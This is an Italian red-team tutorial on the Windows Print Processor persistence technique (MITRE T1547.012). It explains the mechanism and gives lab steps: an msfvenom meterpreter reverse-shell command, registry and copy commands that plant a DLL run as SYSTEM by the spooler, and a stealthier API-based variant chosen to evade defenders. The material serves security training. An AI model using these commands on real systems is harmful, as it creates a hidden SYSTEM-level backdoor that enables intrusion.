Print Processor Hijacking: Print Processors (T1547.012)
La tecnica T1547.012 - Print Processors sfrutta un meccanismo legittimo del sottosistema di stampa Windows per ottenere persistenza (TA0003) e privilege escalation (TA0004). I print processor sono DLL caricate dal servizio Print Spooler (spoolsv.exe) all'avvio del sistema, e un attaccante può registrarne di malevoli per farli eseguire automaticamente al boot con privilegi SYSTEM.
L'installazione avviene tramite la API AddPrintProcessor, che richiede il privilegio SeLoadDriverPrivilege, oppure tramite scrittura diretta della chiave di registro sotto *HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors*. Il payload DLL deve risiedere nella directory dedicata restituita da GetPrintProcessorDirectory (tipicamente *C:\Windows\System32\spool\prtprocs\x64*), e diventa attivo dopo il riavvio del servizio spooler o del sistema.
Dal punto di vista della kill chain, la tecnica si colloca dopo un Initial Access e una fase di elevazione locale, fungendo da meccanismo silente di sopravvivenza. L'impatto è duplice: l'aggressore ottiene una backdoor SYSTEM-level che sopravvive ai reboot senza generare artefatti di scheduled task o servizi visibili, e si mimetizza in un componente Windows raramente ispezionato dagli EDR. I dati MITRE mappano 1 gruppo APT (Earth Lusca), 2 famiglie malware (PipeMon, Gelsemium) e 1 mitigazione ufficiale, un volume basso che riflette la natura sofisticata e mirata di questo abuso.
Per riprodurre T1547.012 in laboratorio, prepara una VM Windows 10/11 o Server 2019+ con Sysmon installato e un account amministrativo locale. L'obiettivo è dimostrare come una DLL non firmata possa essere caricata da spoolsv.exe al boot successivo.
Il primo passo è generare un payload DLL con export compatibili con l'interfaccia print processor. Con Metasploit Framework (open source) puoi produrre una reverse shell:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=
In alternativa, per test più realistici, compila una DLL C/C++ che esporti almeno EnumPrintProcessorDatatypesW, GetPrintProcessorCapabilities, OpenPrintProcessor, PrintDocumentOnPrintProcessor e ClosePrintProcessor. Senza questi export lo spooler rifiuterà il caricamento e potresti crashare il servizio.
Recupera la directory corretta invocando GetPrintProcessorDirectory via PowerShell o C#. Su x64 standard è *C:\Windows\System32\spool\prtprocs\x64*. Copia la DLL in quel percorso (richiede privilegi amministrativi o SeLoadDriverPrivilege):
*copy spool.dll C:\Windows\System32\spool\prtprocs\x64*
Registra il print processor via registro, replicando la TTP osservata su Earth Lusca:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\UDPrint" /v Driver /d spool.dll /f
Riavvia lo spooler per innescare il caricamento:
net stop spooler && net start spooler
A quel punto spoolsv.exe, che gira come NT AUTHORITY\SYSTEM, mappa la DLL in memoria e ne esegue il codice di DllMain, restituendo una sessione con privilegi SYSTEM.
Per un approccio API-driven più stealth, usa AddPrintProcessorW dalla winspool.drv in un loader C#. Questa via è preferita in engagement dove vuoi evitare la scrittura diretta al registro, che è il primo posto dove il blue team cerca. Strumenti come SharPersist (open source, di Mandiant) integrano moduli affini a persistence tramite spooler.
Documenta nel report red team la validità della persistenza attraverso un reboot completo, la conservazione dei privilegi SYSTEM e l'assenza di alert su un EDR non tunato. Come pulizia, elimina la chiave di registro creata, rimuovi la DLL dalla directory prtprocs e riavvia lo spooler. Verifica con Get-ItemProperty che la sottochiave sia effettivamente sparita prima di chiudere l'assessment.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo